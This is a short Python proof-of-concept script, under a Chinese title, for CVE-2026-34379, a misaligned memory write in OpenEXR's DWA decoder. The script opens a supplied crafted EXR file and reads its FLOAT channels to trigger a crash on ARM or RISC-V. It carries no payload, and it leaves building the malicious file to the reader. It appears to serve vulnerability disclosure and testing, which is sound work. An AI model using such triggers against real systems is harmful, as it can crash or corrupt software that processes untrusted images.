OpenEXR内存错位写入漏洞

# PoC for CVE-2026-34379 (OpenEXR Misaligned Memory Write) # This script demonstrates how to trigger the vulnerability by attempting to decode # a crafted EXR file containing DWA compressed FLOAT channels. # Note: Generating the specific malicious bitstream requires deep knowledge of the DWA format. # This PoC assumes you have a file 'exploit.exr' that triggers the path. import OpenEXR import Imath import sys def trigger_vulnerability(filepath): try: # Open the potentially malicious file exr_file = OpenEXR.InputFile(filepath) header = exr_file.header() print(f"[*] Processing file: {filepath}") print(f"[*] Header: {header}") # Attempt to read channels. If the file contains DWA compressed FLOAT data, # the vulnerable LossyDctDecoder_execute function will be called. # This triggers the misaligned write on architectures enforcing alignment. # Check for FLOAT channels which trigger the HALF->FLOAT conversion channels = header['channels'] for channel in channels: pt = channels[channel].type if pt == Imath.PixelType(Imath.PixelType.FLOAT): print(f"[*] Reading FLOAT channel: {channel}") data = exr_file.channel(channel, pt) print(f"[+] Read {len(data)} bytes. If on ARM/RISC-V, a crash may have occurred.") print("[!] Exploit execution finished. If no crash, target might be x86 or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <malicious.exr>") else: trigger_vulnerability(sys.argv[1])